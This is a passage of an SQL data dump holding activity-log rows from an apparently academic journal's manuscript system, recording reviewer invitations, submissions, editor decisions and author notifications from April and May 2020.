Invited Reviewer',3831,'Publisher',85),(31931,'2020-04-27 10:23:00','Publisher has Invited Reviewer',3831,'Publisher',85),(31932,'2020-04-27 10:23:00','Publisher has Invited Reviewer',3831,'Publisher',85),(31933,'2020-04-27 10:23:01','Publisher has Invited Reviewer',3831,'Publisher',85),(31934,'2020-04-27 10:23:20','Publisher : Notified Editor',3863,'Publisher',85),(31942,'2020-04-27 13:18:38','Editor has been Editor Decision Accepted article',3529,'Editor',1011),(31943,'2020-04-27 13:22:35','Publisher: Accept Notification has been sent to Author',3529,'Publisher',376),(31965,'2020-04-27 14:19:35','Publisher has Unassign Editor',3322,'Publisher',48),(31966,'2020-04-27 14:19:55','Publisher has Unassign Editor',3322,'Publisher',48),(31970,'2020-04-27 14:20:55','Publisher has Invited Reviewer',3322,'Publisher',48),(31975,'2020-04-27 14:23:58','Editor has Accepted to review Manuscript',3322,'Editor',194),(31976,'2020-04-27 14:24:38','Editor has been Editor Decision Accepted article',3322,'Editor',194),(32015,'2020-04-27 17:37:39','Editor has been Editor Decision Accepted article',3780,'Editor',194),(32029,'2020-04-28 01:13:20','Author sent Email',3780,'Author',4952),(32036,'2020-04-28 07:21:43','Manuscript Submitted by Author using Submission form',3926,'Author',5123),(32063,'2020-04-28 12:50:20','Publisher: Accept Notification has been sent to Author',3529,'Publisher',376),(32064,'2020-04-28 12:56:38','Publisher: Accept Notification has been sent to Author',3529,'Publisher',376),(32065,'2020-04-28 13:24:50','Author sent Email',3780,'Author',4952),(32099,'2020-04-28 17:34:38','Author sent Email',3777,'Author',4945),(32102,'2020-04-28 19:45:55','Manuscript Submitted by Author using Submission form',3935,'Author',5132),(32117,'2020-04-28 23:36:01','Manuscript Submitted by Author using Submission form',3938,'Author',5137),(32170,'2020-04-29 23:32:53','Reviewer has submitted comments',3529,'Reviewer',12274),(32185,'2020-04-30 10:32:11','Publisher has been Accepted Articles  article',3728,'Publisher',319),(32186,'2020-04-30 10:34:27','Editor has been Editor Decision Accepted article',3675,'Editor',1067),(32187,'2020-04-30 10:35:02','Publisher has been Accepted Articles  article',3675,'Publisher',319),(32188,'2020-04-30 10:41:56','Editor has been Editor Decision Accepted article',3863,'Editor',203),(32189,'2020-04-30 10:42:19','Publisher: Accept Notification has been sent to Author',3863,'Publisher',85),(32190,'2020-04-30 10:43:38','Publisher : Notified Author',3584,'Publisher',85),(32222,'2020-04-30 14:33:18','Publisher : Notified Author',3577,'Publisher',84),(32254,'2020-04-30 15:49:00','Publisher has been Assigned Editor',3894,'Publisher',48),(32255,'2020-04-30 15:49:34','Publisher has Invited Reviewer',3894,'Publisher',48),(32256,'2020-04-30 15:49:41','Publisher has Invited Reviewer',3894,'Publisher',48),(32283,'2020-05-01 02:00:10','Reviewer has submitted comments',3787,'Reviewer',11720),(32307,'2020-05-01 10:36:18','Publisher has been Assigned Editor',3902,'Publisher',75),(32308,'2020-05-01 10:36:47','Publisher has been Assigned Editor',3888,'Publisher',75),(32317,'2020-05-01 13:03:26','Reviewer has submitted comments',3673,'Reviewer',9910),(32318,'2020-05-01 13:04:34','Editor has Accepted to review Manuscript',3673,'Editor',1235),(32319,'2020-05-01 13:05:34','Editor has been Revise (Notify Author) article',3673,'Editor',1235),(32320,'2020-05-01 13:07:09','Publisher : Notified Author',3673,'Publisher',274),(32333,'2020-05-01 15:05:20','Publisher has been Assigned Editor',3938,'Publisher',85),(32334,'2020-05-01 15:09:09','Publisher has Invited Reviewer',3938,'Publisher',85),(32335,'2020-05-01 15:09:11','Publisher has Invited Reviewer',3938,'Publisher',85),(32336,'2020-05-01 15:09:12','Publisher has Invited Reviewer',3938,'Publisher',85),(32337,'2020-05-01 15:09:14','Publisher has Invited Reviewer',3938,'Publisher',85),(32338,'2020-05-01 15:09:15','Publisher has Invited Reviewer',3938,'Publisher',85),(32339,'2020-05-01 15:09:17','Publisher has Invited Reviewer',3938,'Publisher',85),(32340,'2020-05-01 15:09:18','Publisher has Invited Reviewer',3938,'Publisher',85),(32341,'2020-05-01 15:09:19','Publisher has Invited Reviewer',3938,'Publisher',85),(32342,'2020-05-01 15:09:21','Publisher has Invited Reviewer',3938,'Publisher',85),(32343,'2020-05-01 15:09:22','Publisher has Invited Reviewer',3938,'Publisher',85),(32344,'2020-05-01 15:09:23','Publisher has Invited Reviewer',3938,'Publisher',85),(32345,'2020-05-01 15:09:25','Publisher has Invited Reviewer',3938,'Publisher',85),(32346,'2020-05-01 15:09:26','Publisher has Invited Reviewer',3938,'Publisher',85),(32347,'2020-05-01 15:09:27','Publisher has Invited Reviewer',3938,'Publisher',85),(32348,'2020-05-01 15:09:28','Publisher has Invited Reviewer',3938,'Publisher',85),(32350,'2020-05-01 15:47:01','Reviewer has been sent email to Publisher',3938,'Reviewer',11969),(32351,'2020-05-01 15:58:23','Manuscript Submitted by Author using Submission form',3970,'Author',5169),(32352,'2020-05-01 16:08:04','Manuscript Submitted by Publisher',3971,'Publisher',48),(32353,'2020-05-01 16:08:19','Publisher has been Assigned Editor',3971,'Publisher',48),(32354,'2020-05-01 16:16:41','Publisher has Invited Reviewer',3971,'Publisher',48),(32355,'2020-05-01 16:16:55','Publisher has Invited Reviewer',3971,'Publisher',48),(32356,'2020-05-01 16:17:02','Publisher has Invited Reviewer',3971,'Publisher',48),(32357,'2020-05-01 16:17:03','Publisher has Invited Reviewer',3971,'Publisher',48),(32382,'2020-05-01 17:26:06','Publisher has been Assigned Editor',3935,'Publisher',48),(32383,'2020-05-01 17:26:35','Publisher has Invited Reviewer',3935,'Publisher',48),(32384,'2020-05-01 17:26:36','Publisher has Invited Reviewer',3935,'Publisher',48),(32385,'2020-05-01 17:26:37','Publisher has Invited Reviewer',3935,'Publisher',48),(32386,'2020-05-01 17:26:43','Publisher has Invited Reviewer',3935,'Publisher',48),(32387,'2020-05-01 17:26:44','Publisher has Invited Reviewer',3935,'Publisher',48),(32388,'2020-05-01 17:26:45','Publisher has Invited Reviewer',3935,'Publisher',48),(32389,'2020-05-01 17:28:43','Manuscript Submitted by Publisher',3972,'Publisher',48),(32390,'2020-05-01 17:28:53','Publisher has been Assigned Editor',3972,'Publisher',48),(32391,'2020-05-01 17:29:17','Publisher has Invited Reviewer',3972,'Publisher',48),(32392,'2020-05-01 17:29:18','Publisher has Invited Reviewer',3972,'Publisher',48),(32393,'2020-05-01 17:29:19','Publisher has Invited Reviewer',3972,'Publisher',48),(32394,'2020-05-01 17:29:20','Publisher has Invited Reviewer',3972,'Publisher',48),(32395,'2020-05-01 17:29:21','Publisher has Invited Reviewer',3972,'Publisher',48),(32411,'2020-05-01 21:06:43','Manuscript Submitted by Author using Submission form',3974,'Author',5175),(32412,'2020-05-02 02:37:49','Editor has Accepted to review Manuscript',3888,'Editor',160),(32413,'2020-05-02 02:39:13','Editor has Invited Reviewer',3888,'Editor',160),(32414,'2020-05-02 02:39:14','Editor has Invited Reviewer',3888,'Editor',160),(32415,'2020-05-02 02:39:15','Editor has Invited Reviewer',3888,'Editor',160),(32416,'2020-05-02 02:39:16','Editor has Invited Reviewer',3888,'Editor',160),(32417,'2020-05-02 02:39:16','Editor has Invited Reviewer',3888,'Editor',160),(32450,'2020-05-02 12:06:35','Publisher has been Accepted Articles  article',3532,'Publisher',274),(32451,'2020-05-02 12:06:51','Publisher has been Accepted Articles  article',3531,'Publisher',274),(32452,'2020-05-02 12:07:01','Publisher has been Accepted Articles  article',3301,'Publisher',274),(32458,'2020-05-02 17:48:19','Manuscript Submitted by Author using Submission form',3980,'Author',5181),(32462,'2020-05-02 21:00:12','Manuscript has been Revised',3577,'Author',4674),(32463,'2020-05-02 21:01:11','Manuscript has been Revised',3577,'Author',4674),(32464,'2020-05-03 03:32:50','Manuscript Submitted by Author using Submission form',3983,'Author',5183),(32466,'2020-05-03 13:18:04','Manuscript Submitted by Author',3986,'Author',5186),(32467,'2020-05-03 13:22:13','Manuscript Submitted by Author using Submission form',3987,'Author',5187),(32479,'2020-05-04 09:09:34','Manuscript Submitted by Publisher',3996,'Publisher',48),(32480,'2020-05-04 09:17:27','Manuscript Submitted by Publisher',3997,'Publisher',48),(32481,'2020-05-04 10:00:29','Manuscript Submitted by Publisher',3999,'Publisher',75),(32487,'2020-05-04 10:00:41','Publisher has been Assigned Editor',3999,'Publisher',75),(32496,'2020-05-04 10:43:12','Publisher has Invited Reviewer',3830,'Publisher',85),(32497,'2020-05-04 10:50:53','Publisher has Invited Reviewer',3799,'Publisher',85),(32498,'2020-05-04 10:50:55','Publisher has Invited Reviewer',3799,'Publisher',85),(32499,'2020-05-04 10:50:56','Publisher has Invited Reviewer',3799,'Publisher',85),(32500,'2020-05-04 10:50:57','Publisher has Invited Reviewer',3799,'Publisher',85),(32501,'2020-05-04 10:50:59','Publisher has Invited Reviewer',3799,'Publisher',85),(32502,'2020-05-04 10:51:00','Publisher has Invited Reviewer',3799,'Publisher',85),(32503,'2020-05-04 10:51:01','Publisher has Invited Reviewer',3799,'Publisher',85),(32504,'2020-05-04 10:51:02','Publisher has Invited Reviewer',3799,'Publisher',85),(32505,'2020-05-04 10:51:38','Publisher : Notified Editor',3787,'Publisher',85),(32506,'2020-05-04 10:52:50','Editor has Accepted to review Manuscript',3787,'Editor',203),(32507,'2020-05-04 10:53:22','Editor has been Revise (Notify Author) article',3787,'Editor',203),(32508,'2020-05-04 10:57:06','Publisher has Invited Reviewer',3831,'Publisher',85),(32509,'2020-05-04 10:57:57','Publisher has Invited Reviewer',3799,'Publisher',85),(32510,'2020-05-04 10:58:20','Publisher : Notified Author',3787,'Publisher',85),(32519,'2020-05-04 11:15:56','Publisher has been Assigned Editor',3926,'Publisher',319),(32520,'2020-05-04 11:21:22','Editor has Accepted to review Manuscript',3926,'Editor',1067),(32542,'2020-05-04 12:45:56','Publisher has been Assigned Editor',3997,'Publisher',48),(32543,'2020-05-04 12:46:12','Publisher has been Assigned Editor',3996,'Publisher',48),(32544,'2020-05-04 12:47:19','Publisher has Invited Reviewer',3997,'Publisher',48),(32545,'2020-05-04 12:47:20','Publisher has Invited Reviewer',3997,'Publisher',48),(32546,'2020-05-04 12:47:21','Publisher has Invited Reviewer',3997,'Publisher',48),(32547,'2020-05-04 12:47:23','Publisher has Invited Reviewer',3997,'Publisher',48),(32548,'2020-05-04 12:48:18','Publisher has Invited Reviewer',3996,'Publisher',48),(32549,'2020-05-04 12:48:19','Publisher has Invited Reviewer',3996,'Publisher',48),(32550,'2020-05-04 12:48:20','Publisher has Invited Reviewer',3996,'Publisher',48),(32551,'2020-05-04 12:48:22','Publisher has Invited Reviewer',3996,'Publisher',48),(32552,'2020-05-04 12:49:27','Editor has Accepted to review Manuscript',3971,'Editor',194),(32553,'2020-05-04 12:49:36','Editor has been Editor Decision Accepted article',3971,'Editor',194),(32554,'2020-05-04 12:59:15','Publisher has been Assigned Editor',3970,'Publisher',972),(32555,'2020-05-04 12:59:44','Publisher has Invited Reviewer',3970,'Publisher',972),(32558,'2020-05-04 13:24:17','Publisher has Invited Reviewer',3970,'Publisher',972),(32559,'2020-05-04 13:24:18','Publisher has Invited Reviewer',3970,'Publisher',972),(32560,'2020-05-04 13:30:21','Publisher : Notified Editor',3192,'Publisher',75),(32561,'2020-05-04 13:37:34','Editor has been Editor Decision Accepted article',3192,'Editor',161),(32563,'2020-05-04 13:38:47','Editor has been Editor Decision Accepted article',3192,'Editor',161),(32564,'2020-05-04 13:39:19','Editor has been Editor Decision Accepted article',3192,'Editor',161),(32565,'2020-05-04 13:40:40','Publisher: Accept Notification has been sent to Author',3192,'Publisher',75),(32566,'2020-05-04 13:47:46','Editor has Accepted to review Manuscript',3447,'Editor',161),(32567,'2020-05-04 13:48:01','Editor has Accepted to review Manuscript',3575,'Editor',161),(32568,'2020-05-04 13:48:07','Editor has Accepted to review Manuscript',3657,'Editor',161),(32569,'2020-05-04 13:48:14','Editor has Accepted to review Manuscript',3808,'Editor',161),(32570,'2020-05-04 13:48:19','Editor has Accepted to review Manuscript',3902,'Editor',161),(32571,'2020-05-04 13:48:24','Editor has Accepted to review Manuscript',3999,'Editor',161),(32574,'2020-05-04 14:16:43','Publisher : Notified Editor',3808,'Publisher',75),(32575,'2020-05-04 14:18:06','Editor has been Revise (Notify Author) article',3808,'Editor',161),(32578,'2020-05-04 14:22:44','Publisher : Notified Author',3808,'Publisher',75),(32586,'2020-05-04 14:53:50','Manuscript Submitted by Author using Submission form',4001,'Author',5201),(32595,'2020-05-04 15:13:10','Publisher : Notified Editor',3864,'Publisher',376),(32596,'2020-05-04 15:15:04','Publisher has Invited Reviewer',3575,'Publisher',75),(32597,'2020-05-04 15:15:06','Publisher has Invited Reviewer',3575,'Publisher',75),(32599,'2020-05-04 15:27:18','Reviewer has submitted comments',3573,'Reviewer',11589),(32600,'2020-05-04 15:28:50','Publisher : Notified Editor',3573,'Publisher',75),(32601,'2020-05-04 15:31:41','Editor has been Editor Decision Accepted article',3573,'Editor',162),(32602,'2020-05-04 15:33:27','Publisher: Accept Notification has been sent to Author',3573,'Publisher',75),(32603,'2020-05-04 16:01:14','Publisher : Notified Author',3635,'Publisher',85),(32604,'2020-05-04 16:15:15','Publisher : Notified Author',3804,'Publisher',84),(32614,'2020-05-04 16:22:32','Publisher : Notified Editor',3577,'Publisher',84),(32620,'2020-05-04 17:06:35','Editor has Accepted to review Manuscript',3864,'Editor',1011),(32621,'2020-05-04 17:06:50','Editor has been Editor Decision Accepted article',3864,'Editor',1011),(32623,'2020-05-04 17:10:00','Publisher: Accept Notification has been sent to Author',3864,'Publisher',376),(32626,'2020-05-04 17:13:30','Manuscript Submitted by Author using Submission form',4003,'Author',5204),(32646,'2020-05-04 18:02:45','Publisher has Invited Reviewer',3874,'Publisher',85),(32647,'2020-05-04 18:02:47','Publisher has Invited Reviewer',3874,'Publisher',85),(32648,'2020-05-04 18:02:48','Publisher has Invited Reviewer',3874,'Publisher',85),(32649,'2020-05-04 18:24:18','Manuscript Submitted by Author using Submission form',4005,'Author',5206),(32650,'2020-05-04 18:29:08','Publisher has been Assigned Editor',3987,'Publisher',85),(32651,'2020-05-04 18:53:42','Manuscript Submitted by Author using Submission form',4006,'Author',5207),(32658,'2020-05-04 19:31:34','Publisher has Invited Reviewer',3997,'Publisher',48),(32659,'2020-05-04 19:31:35','Publisher has Invited Reviewer',3997,'Publisher',48),(32660,'2020-05-04 19:31:53','Publisher has Invited Reviewer',3996,'Publisher',48),(32661,'2020-05-04 19:31:59','Publisher has Invited Reviewer',3996,'Publisher',48),(32663,'2020-05-04 20:24:24','Reviewer has submitted comments',3997,'Reviewer',11519),(32664,'2020-05-04 21:36:03','Publisher has Invited Reviewer',3987,'Publisher',85),(32665,'2020-05-04 21:36:04','Publisher has Invited Reviewer',3987,'Publisher',85),(32666,'2020-05-04 21:36:05','Publisher has Invited Reviewer',3987,'Publisher',85),(32667,'2020-05-04 21:36:07','Publisher has Invited Reviewer',3987,'Publisher',85),(32668,'2020-05-04 21:36:08','Publisher has Invited Reviewer',3987,'Publisher',85),(32669,'2020-05-04 21:36:09','Publisher has Invited Reviewer',3987,'Publisher',85),(32670,'2020-05-04 21:36:10','Publisher has Invited Reviewer',3987,'Publisher',85),(32671,'2020-05-04 21:36:12','Publisher has Invited Reviewer',3987,'Publisher',85),(32672,'2020-05-04 21:36:13','Publisher has Invited Reviewer',3987,'Publisher',85),(32673,'2020-05-04 21:36:14','Publisher has Invited Reviewer',3987,'Publisher',85),(32674,'2020-05-04 21:36:20','Publisher has Invited Reviewer',3987,'Publisher',85),(32675,'2020-05-04 21:36:21','Publisher has Invited Reviewer',3987,'Publisher',85),(32676,'2020-05-04 21:36:22','Publisher has Invited Reviewer',3987,'Publisher',85),(32701,'2020-05-05 11:45:35','Manuscript Submitted by Author',4011,'Author',5111),(32704,'2020-05-05 11:49:53','Publisher has been Assigned Editor',4003,'Publisher',48),(32705,'2020-05-05 11:50:13','Publisher has been Assigned Editor',4001,'Publisher',48),(32706,'2020-05-05 11:51:18','Publisher has Invited Reviewer',4001,'Publisher',48),(32707,'2020-05-05 11:51:19','Publisher has Invited Reviewer',4001,'Publisher',48),(32708,'2020-05-05 11:51:34','Publisher has Invited Reviewer',4001,'Publisher',48),(32709,'2020-05-05 11:51:35','Publisher has Invited Reviewer',4001,'Publisher',48),(32710,'2020-05-05 11:51:37','Publisher has Invited Reviewer',4001,'Publisher',48),(32711,'2020-05-05 11:51:38','Publisher has Invited Reviewer',4001,'Publisher',48),(32712,'2020-05-05 11:52:03','Publisher has Invited Reviewer',4003,'Publisher',48),(32713,'2020-05-05 11:52:04','Publisher has Invited Reviewer',4003,'Publisher',48),(32716,'2020-05-05 12:13:46','Reviewer has submitted comments',4001,'Reviewer',11519),(32722,'2020-05-05 13:43:41','Reviewer has updated comments',3799,'Reviewer',12519),(32723,'2020-05-05 13:44:21','Reviewer has updated comments',3799,'Reviewer',12519),(32724,'2020-05-05 13:48:39','Publisher has been Assigned Editor',3986,'Publisher',984),(32725,'2020-05-05 13:49:30','Publisher has Invited Reviewer',3986,'Publisher',984),(32726,'2020-05-05 13:49:31','Publisher has Invited Reviewer',3986,'Publisher',984),(32727,'2020-05-05 13:49:32','Publisher has Invited Reviewer',3986,'Publisher',984),(32728,'2020-05-05 13:49:33','Publisher has Invited Reviewer',3986,'Publisher',984),(32729,'2020-05-05 13:49:34','Publisher has Invited Reviewer',3986,'Publisher',984),(32730,'2020-05-05 13:49:36','Publisher has Invited Reviewer',3986,'Publisher',984),(32731,'2020-05-05 13:49:42','Publisher has Invited Reviewer',3986,'Publisher',984),(32732,'2020-05-05 13:49:43','Publisher has Invited Reviewer',3986,'Publisher',984),(32733,'2020-05-05 13:49:45','Publisher has Invited Reviewer',3986,'Publisher',984),(32735,'2020-05-05 13:51:57','Publisher has been Assigned Editor',4011,'Publisher',48),(32741,'2020-05-05 13:57:58','Publisher has Invited Reviewer',4011,'Publisher',48),(32742,'2020-05-05 13:58:00','Publisher has Invited Reviewer',4011,'Publisher',48),(32743,'2020-05-05 13:58:02','Publisher has Invited Reviewer',4011,'Publisher',48),(32744,'2020-05-05 14:33:06','Manuscript Submitted by Author using Submission form',4013,'Author',5214),(32755,'2020-05-05 16:01:58','Reviewer has submitted comments',3986,'Reviewer',10967),(32757,'2020-05-05 16:37:25','Publisher : Notified Editor',3799,'Publisher',85),(32758,'2020-05-05 16:39:26','Editor has Accepted to review Manuscript',3799,'Editor',1393),(32759,'2020-05-05 16:39:41','Editor has been Revise (Notify Author) article',3799,'Editor',1393),(32760,'2020-05-05 16:40:30','Publisher : Notified Author',3799,'Publisher',85),(32765,'2020-05-05 16:50:30','Reviewer has been sent email to Publisher',4011,'Reviewer',12531),(32777,'2020-05-05 17:39:08','Manuscript Submitted by Author using Submission form',4015,'Author',5215),(32785,'2020-05-05 18:54:01','Reviewer has been sent email to Publisher',3997,'Reviewer',12531),(32786,'2020-05-05 18:56:13','Reviewer has been sent email to Publisher',3996,'Reviewer',12531),(32789,'2020-05-05 21:49:28','Editor has been Revise (Notify Author) article',3799,'Editor',1393),(32791,'2020-05-06 05:18:02','Manuscript Submitted by Author using Submission form',4017,'Author',5217),(32794,'2020-05-06 09:08:39','Publisher : Notified Author',3799,'Publisher',85),(32816,'2020-05-06 12:03:24','Publisher has been Assigned Editor',3974,'Publisher',75),(32817,'2020-05-06 12:03:40','Publisher has been Assigned Editor',4005,'Publisher',75),(32822,'2020-05-06 12:38:43','Publisher has Invited Reviewer',3926,'Publisher',319),(32823,'2020-05-06 12:38:47','Publisher has Invited Reviewer',3926,'Publisher',319),(32824,'2020-05-06 12:38:52','Publisher has Invited Reviewer',3926,'Publisher',319),(32825,'2020-05-06 12:40:22','Publisher has been Assigned Editor',3880,'Publisher',319),(32826,'2020-05-06 12:40:52','Publisher has been Assigned Editor',4006,'Publisher',319),(32827,'2020-05-06 12:41:46','Publisher has Invited Reviewer',3926,'Publisher',319),(32828,'2020-05-06 12:41:50','Publisher has Invited Reviewer',3926,'Publisher',319),(32829,'2020-05-06 12:41:54','Publisher has Invited Reviewer',3926,'Publisher',319),(32830,'2020-05-06 12:41:58','Publisher has Invited Reviewer',3926,'Publisher',319),(32831,'2020-05-06 12:42:02','Publisher has Invited Reviewer',3926,'Publisher',319),(32832,'2020-05-06 12:42:06','Publisher has Invited Reviewer',3926,'Publisher',319),(32833,'2020-05-06 12:47:39','Publisher has been Assigned Editor',4013,'Publisher',48),(32834,'2020-05-06 12:57:25','Publisher has Invited Reviewer',4011,'Publisher',48),(32835,'2020-05-06 12:57:52','Publisher has Invited Reviewer',4011,'Publisher',48),(32836,'2020-05-06 12:57:53','Publisher has Invited Reviewer',4011,'Publisher',48),(32837,'2020-05-06 12:57:55','Publisher has Invited Reviewer',4011,'Publisher',48),(32838,'2020-05-06 12:57:56','Publisher has Invited Reviewer',4011,'Publisher',48),(32839,'2020-05-06 12:57:58','Publisher has Invited Reviewer',4011,'Publisher',48),(32840,'2020-05-06 12:57:59','Publisher has Invited Reviewer',4011,'Publisher',48),(32841,'2020-05-06 12:58:00','Publisher has Invited Reviewer',4011,'Publisher',48),(32842,'2020-05-06 12:58:01','Publisher has Invited Reviewer',4011,'Publisher',48),(32843,'2020-05-06 13:00:39','Publisher has Invited Reviewer',4001,'Publisher',48),(32864,'2020-05-06 16:06:54','Publisher has Invited Reviewer',3902,'Publisher',75),(32865,'2020-05-06 16:06:56','Publisher has Invited Reviewer',3902,'Publisher',75),(32866,'2020-05-06 16:06:57','Publisher has Invited Reviewer',3902,'Publisher',75),(32867,'2020-05-06 16:06:58','Publisher has Invited Reviewer',3902,'Publisher',75),(32868,'2020-05-06 16:07:04','Publisher has Invited Reviewer',3902,'Publisher',75),(32869,'2020-05-06 16:07:05','Publisher has Invited Reviewer',3902,'Publisher',75),(32870,'2020-05-06 16:09:08','Publisher has Invited Reviewer',3974,'Publisher',75),(32871,'2020-05-06 16:09:21','Publisher has Invited Reviewer',3974,'Publisher',75),(32872,'2020-05-06 16:09:22','Publisher has Invited Reviewer',3974,'Publisher',75),(32873,'2020-05-06 16:09:29','Publisher has Invited Reviewer',3974,'Publisher',75),(32874,'2020-05-06 16:09:30','Publisher has Invited Reviewer',3974,'Publisher',75),(32875,'2020-05-06 16:10:17','Publisher has Invited Reviewer',3999,'Publisher',75),(32876,'2020-05-06 16:10:18','Publisher has Invited Reviewer',3999,'Publisher',75),(32877,'2020-05-06 16:10:19','Publisher has Invited Reviewer',3999,'Publisher',75),(32878,'2020-05-06 16:10:21','Publisher has Invited Reviewer',3999,'Publisher',75),(32879,'2020-05-06 16:13:33','Publisher has Invited Reviewer',4005,'Publisher',75),(32880,'2020-05-06 16:13:34','Publisher has Invited Reviewer',4005,'Publisher',75),(32881,'2020-05-06 16:13:35','Publisher has Invited Reviewer',4005,'Publisher',75),(32889,'2020-05-06 17:04:02','Editor has Accepted to review Manuscript',4006,'Editor',1067),(32890,'2020-05-06 17:04:13','Editor has Accepted to review Manuscript',3880,'Editor',1067),(32978,'2020-05-06 18:55:11','Manuscript Submitted by Author using Submission form',4024,'Author',5226),(32987,'2020-05-07 02:49:52','Reviewer has submitted comments',3644,'Reviewer',7022),(32988,'2020-05-07 03:28:43','Reviewer has submitted comments',3864,'Reviewer',7022),(33034,'2020-05-07 11:56:02','Publisher has Invited Reviewer',3880,'Publisher',319),(33035,'2020-05-07 11:56:07','Publisher has Invited Reviewer',3880,'Publisher',319),(33036,'2020-05-07 11:56:11','Publisher has Invited Reviewer',3880,'Publisher',319),(33037,'2020-05-07 11:56:16','Publisher has Invited Reviewer',3880,'Publisher',319),(33038,'2020-05-07 11:56:20','Publisher has Invited Reviewer',3880,'Publisher',319),(33039,'2020-05-07 11:56:24','Publisher has Invited Reviewer',3880,'Publisher',319),(33040,'2020-05-07 11:56:29','Publisher has Invited Reviewer',3880,'Publisher',319),(33041,'2020-05-07 11:56:33','Publisher has Invited Reviewer',3880,'Publisher',319),(33042,'2020-05-07 11:56:37','Publisher has Invited Reviewer',3880,'Publisher',319),(33043,'2020-05-07 11:56:41','Publisher has Invited Reviewer',3880,'Publisher',319),(33044,'2020-05-07 11:56:45','Publisher has Invited Reviewer',3880,'Publisher',319),(33045,'2020-05-07 11:56:50','Publisher has Invited Reviewer',3880,'Publisher',319),(33047,'2020-05-07 12:01:26','Publisher has Invited Reviewer',4006,'Publisher',319),(33048,'2020-05-07 12:01:30','Publisher has Invited Reviewer',4006,'Publisher',319),(33049,'2020-05-07 12:01:35','Publisher has Invited Reviewer',4006,'Publisher',319),(33050,'2020-05-07 12:01:39','Publisher has Invited Reviewer',4006,'Publisher',319),(33051,'2020-05-07 12:01:43','Publisher has Invited Reviewer',4006,'Publisher',319),(33052,'2020-05-07 12:01:48','Publisher has Invited Reviewer',4006,'Publisher',319),(33053,'2020-05-07 12:03:16','Manuscript Updated',4006,'Publisher',319),(33054,'2020-05-07 12:32:41','Publisher has been Assigned Editor',4024,'Publisher',48),(33055,'2020-05-07 12:33:04','Publisher has Invited Reviewer',4013,'Publisher',48),(33056,'2020-05-07 12:33:40','Publisher has Invited Reviewer',4024,'Publisher',48),(33057,'2020-05-07 13:02:42','Publisher : Notified Author',3799,'Publisher',85),(33058,'2020-05-07 13:03:00','Publisher : Notified Author',3787,'Publisher',85),(33059,'2020-05-07 13:04:35','Publisher has been Withdrawn  article',3635,'Publisher',85),(33067,'2020-05-07 15:22:27','Manuscript Submitted by Publisher',4032,'Publisher',48),(33068,'2020-05-07 15:23:00','Publisher has been Assigned Editor',4032,'Publisher',48),(33069,'2020-05-07 15:23:41','Publisher has Invited Reviewer',4032,'Publisher',48),(33070,'2020-05-07 15:23:43','Publisher has Invited Reviewer',4032,'Publisher',48),(33073,'2020-05-07 15:38:57','Reviewer has submitted comments',3987,'Reviewer',9532),(33080,'2020-05-07 16:44:44','Publisher has Invited Reviewer',4032,'Publisher',48),(33119,'2020-05-07 18:29:39','Publisher : Notified Editor',3831,'Publisher',85),(33120,'2020-05-07 18:31:59','Editor has Accepted to review Manuscript',3831,'Editor',1251),(33121,'2020-05-07 18:32:25','Editor has been Revise (Notify Author) article',3831,'Editor',1251),(33122,'2020-05-07 18:33:26','Publisher : Notified Author',3831,'Publisher',85),(33123,'2020-05-07 18:35:37','Publisher : Notified Editor',3987,'Publisher',85),(33125,'2020-05-07 18:36:49','Editor has Accepted to review Manuscript',3987,'Editor',1394),(33126,'2020-05-07 18:37:01','Editor has been Revise (Notify Author) article',3987,'Editor',1394),(33127,'2020-05-07 18:37:47','Publisher : Notified Author',3987,'Publisher',85),(33133,'2020-05-07 19:55:10','Reviewer has updated comments',3987,'Reviewer',9531),(33141,'2020-05-08 02:55:59','Manuscript has been Revised',3808,'Author',4987),(33160,'2020-05-08 10:28:44','Reviewer has submitted comments',3833,'Reviewer',629),(33172,'2020-05-08 11:46:43','Editor has Accepted to review Manuscript',4011,'Editor',194),(33173,'2020-05-08 11:46:52','Editor has Accepted to review Manuscript',4032,'Editor',194),(33174,'2020-05-08 11:47:06','Editor has Accepted to review Manuscript',3972,'Editor',194),(33190,'2020-05-08 13:49:19','Publisher has Invited Reviewer',3657,'Publisher',75),(33191,'2020-05-08 13:50:46','Publisher : Notified Editor',3808,'Publisher',75),(33239,'2020-05-08 16:12:46','Reviewer has submitted comments',3657,'Reviewer',11589),(33240,'2020-05-08 16:15:42','Publisher : Notified Editor',3657,'Publisher',75),(33241,'2020-05-08 16:17:03','Editor has been Editor Decision Accepted article',3657,'Editor',161),(33242,'2020-05-08 16:18:00','Publisher: Accept Notification has been sent to Author',3657,'Publisher',75),(33274,'2020-05-08 19:37:02','Reviewer has submitted comments',3894,'Reviewer',11714),(33363,'2020-05-09 13:14:54','Publisher has Invited Reviewer',3722,'Publisher',85),(33364,'2020-05-09 13:14:57','Publisher has Invited Reviewer',3722,'Publisher',85),(33365,'2020-05-09 13:14:59','Publisher has Invited Reviewer',3722,'Publisher',85),(33366,'2020-05-09 13:15:00','Publisher has Invited Reviewer',3722,'Publisher',85),(33367,'2020-05-09 13:26:05','Publisher has Invited Reviewer',3938,'Publisher',85),(33375,'2020-05-09 13:41:08','Publisher has Invited Reviewer',3830,'Publisher',85),(33376,'2020-05-09 13:42:04','Publisher has Invited Reviewer',3874,'Publisher',85),(33377,'2020-05-09 13:46:59','Publisher has Invited Reviewer',3791,'Publisher',85),(33378,'2020-05-09 13:47:01','Publisher has Invited Reviewer',3791,'Publisher',85),(33379,'2020-05-09 13:47:03','Publisher has Invited Reviewer',3791,'Publisher',85),(33380,'2020-05-09 13:47:04','Publisher has Invited Reviewer',3791,'Publisher',85),(33381,'2020-05-09 13:47:05','Publisher has Invited Reviewer',3791,'Publisher',85),(33382,'2020-05-09 13:47:06','Publisher has Invited Reviewer',3791,'Publisher',85),(33383,'2020-05-09 13:47:08','Publisher has Invited Reviewer',3791,'Publisher',85),(33384,'2020-05-09 13:47:09','Publisher has Invited Reviewer',3791,'Publisher',85),(33385,'2020-05-09 13:47:10','Publisher has Invited Reviewer',3791,'Publisher',85),(33386,'2020-05-09 13:47:11','Publisher has Invited Reviewer',3791,'Publisher',85),(33387,'2020-05-09 13:47:13','Publisher has Invited Reviewer',3791,'Publisher',85),(33388,'2020-05-09 13:47:14','Publisher has Invited Reviewer',3791,'Publisher',85),(33389,'2020-05-09 13:47:16','Publisher has Invited Reviewer',3791,'Publisher',85),(33390,'2020-05-09 13:47:17','Publisher has Invited Reviewer',3791,'Publisher',85),(33401,'2020-05-09 19:25:50','Reviewer has submitted comments',2838,'Reviewer',8997),(33403,'2020-05-09 21:59:16','Reviewer has been sent email to Publisher',3997,'Reviewer',12531),(33404,'2020-05-09 22:19:55','Manuscript Submitted by Author using Submission form',4056,'Author',5257),(33406,'2020-05-10 